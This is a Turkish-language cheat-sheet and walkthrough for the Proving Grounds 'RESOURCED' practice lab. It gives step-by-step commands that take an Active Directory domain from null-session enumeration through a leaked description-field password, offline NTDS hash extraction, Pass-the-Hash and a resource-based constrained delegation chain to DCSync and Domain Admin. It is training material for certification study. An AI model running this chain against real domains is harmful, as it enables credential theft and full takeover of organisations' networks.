FOOTHOLD Metodoloji Cheat-sheet
Exploit ✓ EXAM-SAFE zor :53:88:135:139:389:445:464:593:636:3268:5985

Proving Grounds RESOURCED — Tam Cozum Yuruyusu (Null Session RID Brute -> Description Parolasi -> NTDS Yedegi -> PtH -> RBCD -> DA)

RESOURCED kutusunun bastan sona cozumu: SMB null session + RID brute ile kullanici listesi, V.Ventz description alanindaki parola, yedek share icindeki ntds.dit + SYSTEM yedeginden offline secretsdump ile L.Livingstone NT hash cikarma, WinRM uzerinden Pass-the-Hash, ardindan RESOURCEDC computer objesi uzerindeki GenericAll'i RBCD'ye cevirip Administrator impersonation ile Domain Admin.

Bilgi: ÖN KOŞULLAR
  • Hedef DC ile ag baglantisi (VPN/tap) ve duzeltilmis /etc/hosts
  • Kerberos saldirilarinda kritik: saat senkronu (clock skew < 5 dk)
  • impacket-suite, netexec/nxc, evil-winrm, bloodhound-python yuklu Kali
┌──

Komutlar

bash ✓ EXAM-SAFE
echo "{{DC_IP}} {{DC_HOST}} {{DOMAIN}} {{DC_HOST}}.{{DOMAIN}}" | sudo tee -a /etc/hosts
DC_IP ve FQDN'i /etc/hosts'a ekle (ornek: 192.168.x.x resourcedc.resourced.local resourced.local). Kerberos isim cozumlemesi icin sart. HackTricks - Active Directory Methodology (Hosts/DNS setup)
ntpdate ✓ EXAM-SAFE user
sudo ntpdate -u {{DC_IP}}
DC saatine senkron ol (clock skew duzelt). KRB_AP_ERR_SKEW hatasinin numarasi budur. Alternatif: sudo rdate -n {{DC_IP}} HackTricks - Kerberos (Clock skew KRB_AP_ERR_SKEW)
nmap ✓ EXAM-SAFE
nmap -Pn -p- --min-rate 2000 -sV -sC -oA resourced {{DC_IP}}
Tam port taramasi + servis/script. 53/88/389/445/636/3268/5985 -> Domain Controller imzasi. domain name'i (resourced.local) buradan dogrula. HackTricks - Pentesting Active Directory (nmap DC fingerprint)
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --shares
Null session ile share/erisim testi. Bos kullanici+sifre ile anonymous SMB. Yedek share' leri (Password Audit gibi) tespit etmeye calis. HackTricks - SMB Null Session enumeration
netexec ✓ EXAM-SAFE
nxc smb {{DC_IP}} -u '' -p '' --rid-brute 10000
RID brute ile domain kullanici/grup listesi cikar (null session uzerinden SAMR). resourced\V.Ventz, L.Livingstone vb. isimleri toplar. Alternatif: nxc smb {{DC_IP}} -u guest -p '' --rid-brute NetExec wiki - SMB RID Brute Forcing
impacket-lookupsid ✓ EXAM-SAFE
impacket-lookupsid {{DOMAIN}}/anonymous@{{DC_IP}} -no-pass
RID brute'un impacket karsiligi; SID'leri ve karsilik gelen kullanici adlarini listeler. RID brute alternatifi/dogrulamasi. WADComs - Impacket lookupsid (RID cycling)
enum4linux-ng ✓ EXAM-SAFE
enum4linux-ng -A -u '' -p '' {{DC_IP}}
Toplu null-session enumerasyon: kullanicilar, gruplar, paylasimlar VE kullanici description alanlari. V.Ventz'in description'inda parola burada gorunur (ornek: HotelCalifornia194). HackTricks - enum4linux-ng (user descriptions)
netexec ✓ EXAM-SAFE user
nxc ldap {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --query "(objectClass=user)" "sAMAccountName description"
LDAP uzerinden tum kullanicilarin description alanini tara (parola gizlenmis kullanici aramak icin). Bulunan kimlik (ornek: V.Ventz / HotelCalifornia194) ile artik authenticated enum yapilir. Eski surum alternatifi: nxc ldap ... -M get-desc-users NetExec wiki - LDAP query / get-desc-users module
netexec ✓ EXAM-SAFE user
nxc smb {{DC_IP}} -u '{{USER}}' -p '{{PASS}}' --shares
V.Ventz kimligiyle (ornek V.Ventz / HotelCalifornia194) yetkili share listesi. 'Password Audit' / yedek share'ine READ erisimi olmali. NetExec wiki - SMB shares (authenticated)
smbclient ✓ EXAM-SAFE user
smbclient \\\\{{DC_IP}}\\"Password Audit" -U '{{DOMAIN}}/{{USER}}%{{PASS}}'
Yedek share'ine baglan ve gez. Icinde Active Directory\ntds.dit ve registry\SYSTEM (bazen SECURITY) bulunur. prompt OFF; recurse ON; mget * ile hepsini indir. HackTricks - SMB smbclient (download shares)
impacket-secretsdump ✓ EXAM-SAFE user
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
OFFLINE secretsdump: indirilen ntds.dit + SYSTEM hive'indan tum domain hash'lerini cikar. L.Livingstone'un NT hash'ini buradan al. -k/-no-pass YOK cunku LOCAL (dosya tabanli) modu. WADComs - Impacket secretsdump (offline NTDS, LOCAL)
netexec ✓ EXAM-SAFE user
nxc winrm {{DC_IP}} -u 'L.Livingstone' -H {{NTHASH}}
Cikarilan NT hash ile WinRM Pass-the-Hash gecerliligi testi. (Pwn3d!) cikarsa evil-winrm'e gec. SMB/LDAP icin de -H {{NTHASH}} kullanilabilir. NetExec wiki - WinRM Pass-the-Hash
evil-winrm ✓ EXAM-SAFE user
evil-winrm -i {{DC_IP}} -u L.Livingstone -H {{NTHASH}}
WinRM uzerinden Pass-the-Hash ile interaktif shell. L.Livingstone normalde DA degildir; local.txt/foothold ve BloodHound toplama icin kullanilir. WADComs - evil-winrm (Pass-the-Hash -H)
bloodhound-python ✓ EXAM-SAFE user
bloodhound-python -d {{DOMAIN}} -u L.Livingstone --hashes :{{NTHASH}} -ns {{DC_IP}} -c All --zip
Hash ile uzaktan BloodHound toplama. L.Livingstone -> RESOURCEDC$ (DC computer objesi) uzerinde GenericAll yetkisini grafikte gor; bu RBCD'ye giden yol. The Hacker Recipes - BloodHound collection (bloodhound-python)
impacket-addcomputer ✓ EXAM-SAFE user
impacket-addcomputer -computer-name 'ATTACK$' -computer-pass 'Attack123!' -dc-host {{DC_HOST}} -domain-netbios {{DOMAIN}} '{{DOMAIN}}/L.Livingstone' -hashes :{{NTHASH}}
RBCD icin bize ait bir computer objesi yarat (MachineAccountQuota>=1 varsayilan 10). ATTACK$ delegation'in 'from' tarafi olacak. The Hacker Recipes - RBCD (addcomputer)
impacket-rbcd ✓ EXAM-SAFE user
impacket-rbcd -delegate-from 'ATTACK$' -delegate-to 'RESOURCEDC$' -action write -dc-ip {{DC_IP}} '{{DOMAIN}}/L.Livingstone' -hashes :{{NTHASH}}
GenericAll'i somutlastir: RESOURCEDC$ uzerindeki msDS-AllowedToActOnBehalfOfOtherIdentity'e ATTACK$'i yaz. Boylece ATTACK$, RESOURCEDC$ adina ticket alabilir. -action read ile dogrula. The Hacker Recipes - Resource-Based Constrained Delegation (rbcd.py)
impacket-getST ✓ EXAM-SAFE user
impacket-getST -spn 'cifs/{{DC_HOST}}' -impersonate Administrator -dc-ip {{DC_IP}} '{{DOMAIN}}/ATTACK$:Attack123!'
S4U2Self + S4U2Proxy: ATTACK$ kimligiyle Administrator'i impersonate eden cifs/RESOURCEDC ticket'i al. Cikti: Administrator.ccache. SPN host kismi RBCD hedefiyle ayni FQDN olmali. The Hacker Recipes - RBCD getST (S4U2Self/S4U2Proxy)
bash ✓ EXAM-SAFE user
export KRB5CCNAME=$(pwd)/Administrator.ccache
Uretilen ticket cache'i ortam degiskenine ata. -k/-no-pass kullanan tum impacket araclari bu ticket'i okur. SPN'de IP degil FQDN kullanildigina dikkat. HackTricks - Kerberos ticket cache (KRB5CCNAME)
impacket-secretsdump ✓ EXAM-SAFE user
impacket-secretsdump -k -no-pass {{DC_HOST}}.{{DOMAIN}} -just-dc-user Administrator
Administrator ticket'i ile DCSync. Tum NTDS / krbtgt / DA hash'lerini cek = domain compromise. -just-dc-user yerine -just-dc ile tum domain. WADComs - secretsdump DCSync (-k -no-pass)
evil-winrm ✓ EXAM-SAFE user
evil-winrm -i {{DC_IP}} -u Administrator -H {{NTHASH}}
DCSync'ten cikan Administrator NT hash ile DC'de PtH shell -> proof.txt / Domain Admin. Alternatif: impacket-psexec -k -no-pass {{DC_HOST}}.{{DOMAIN}} (ccache ile). WADComs - evil-winrm Administrator Pass-the-Hash

Senaryo Ozeti

RESOURCED, Proving Grounds Practice’in en cok takilinan kutularindan. Ders dizisi sudur: null session ile kullanici toplamak -> bir description alaninda gizli parola -> yetkili share icinde ntds.dit yedegi -> offline secretsdump -> Pass-the-Hash -> RBCD ile Domain Admin. Burada her adim bir oncekinin ciktisi ile beslenir, o yuzden token degerlerini (ornek parantez icinde) dikkatli takip et.

0. Hazirlik — DNS ve Saat

Kerberos saldirilarinin (getST, S4U) en sik patladigi yer iki sebep: isim cozumleme ve saat farki. Once {{DC_IP}} -> {{DC_HOST}}.{{DOMAIN}} esleştirmesini /etc/hosts’a yaz (ornek: resourcedc.resourced.local, domain resourced.local). Sonra sudo ntpdate -u {{DC_IP}} ile DC saatine senkron ol. KRB_AP_ERR_SKEW gorursen sebebi 5 dakikadan buyuk saat farkidir; ntpdate calismazsa sudo rdate -n {{DC_IP}} dene.

1. Recon ve Null Session

Tam port taramasi (nmap -p-) ile DC parmak izini dogrula: 88 (Kerberos), 389/636 (LDAP/S), 445 (SMB), 5985 (WinRM). Bu kutuda anonim SMB acik; nxc smb {{DC_IP}} -u '' -p '' ile null session’i dogrula.

2. Kullanici Listesi — RID Brute

Null session uzerinden --rid-brute SAMR’i kullanarak her RID’i isim ile esler ve domain kullanicilarini dokumler (V.Ventz, L.Livingstone, …). impacket karsiligi impacket-lookupsid ile capraz dogrula. Neden RID brute? Cunku anonim baglantida dogrudan kullanici listesi cekemeyebiliriz ama RID->isim cozumlemesi cogu zaman acik kalir.

3. Description Alanindaki Parola (V.Ventz)

AD’de description/info alanlarina admin’lerin parola yazmasi klasik bir hatadir. enum4linux-ng -A -u '' -p '' ciktisinda VEYA LDAP query ile V.Ventz kullanicisinin description’inda parolayi gor (ornek deger: HotelCalifornia194). Artik dusuk yetkili ama gecerli bir domain hesabin var: V.Ventz / HotelCalifornia194.

4. Yedek Share — ntds.dit + SYSTEM

V.Ventz kimligiyle --shares listesini cek; standart paylasimlar disinda bir yedek/audit share’i (ornek: ‘Password Audit’) goreceksin. smbclient ile baglan, recurse ON; prompt OFF; mget * yaparak icindeki Active Directory\ntds.dit ve registry\SYSTEM dosyalarini indir. ntds.dit tum domain’in parola veritabani, SYSTEM ise onu desifre etmek icin gereken boot key’i tasir.

5. Offline NTDS Dump

DC’ye dokunmadan, indirilen dosyalardan hash cikar: impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL. LOCAL kelimesi kritik — dosya tabanli offline mod oldugumuzu soyler (uzaktaki host’a baglanmaz, o yuzden -k/-no-pass yok). Ciktida L.Livingstone:...:NTHASH::: satirini al; bu kullanici WinRM’e yetkili.

6. Pass-the-Hash ile WinRM

NT hash ile parola kirmaya gerek yok; dogrudan PtH. Once nxc winrm {{DC_IP}} -u 'L.Livingstone' -H {{NTHASH}} ile (Pwn3d!) dogrula, sonra evil-winrm -i {{DC_IP}} -u L.Livingstone -H {{NTHASH}}. Bu shell henuz DA degil; foothold ve BloodHound toplama icin.

7. BloodHound — GenericAll Tespiti

bloodhound-python ... --hashes :{{NTHASH}} ile grafigi topla. Onemli bulgu: L.Livingstone’un domain controller computer objesi RESOURCEDC$ uzerinde GenericAll yetkisi var. Bir computer objesinde GenericAll = o objenin msDS-AllowedToActOnBehalfOfOtherIdentity ozelligini biz yazabiliriz = Resource-Based Constrained Delegation kurabiliriz.

8. RBCD Zinciri (DA’ya cikis)

Adimlar sirasiyla:

  1. addcomputer: Kontrolumuzde bir makine hesabi yarat (ATTACK$ / Attack123!). Bu MachineAccountQuota sayesinde mumkun (varsayilan 10). Bu hesap delegation’in from tarafi.
  2. rbcd write: RESOURCEDC$ uzerine ATTACK$’i delegate-from olarak yaz. GenericAll’imiz tam da bu yazmaya izin verir.
  3. getST: S4U2Self + S4U2Proxy ile ATTACK$ kimligiyle Administrator’i impersonate edip cifs/{{DC_HOST}} ticket’i al. SPN’in host kismi DC’nin FQDN’i olmali (IP degil), aksi halde ticket bos doner.
  4. KRB5CCNAME export et, sonra secretsdump -k -no-pass ile DCSync yap. Administrator olarak DC’den hash cektigimiz an domain dustu.

9. Sonuc — Domain Admin

DCSync ciktisindaki Administrator NT hash ile evil-winrm -u Administrator -H {{NTHASH}} veya psexec -k -no-pass ile DC’de SYSTEM/DA shell ve proof.txt. krbtgt hash’i de elde oldugu icin Golden Ticket persistence mumkun.

Gotchas

  • secretsdump LOCAL modunda -k/-no-pass kullanma; o flag’ler uzak Kerberos modu icindir.
  • getST SPN’inde mutlaka FQDN (cifs/resourcedc.resourced.local) kullan, IP koyma.
  • rbcd ve getST oncesi saat senkronunu tekrar kontrol et; uzun enumerasyon sirasinda kayabilir.
  • addcomputer ‘STATUS_ACCESS_DENIED’ verirse MachineAccountQuota 0 olabilir; o durumda mevcut bir computer objesi (GenericWrite oldugumuz) uzerinden delegation kur.
┌──

Kaynaklar

0/15 set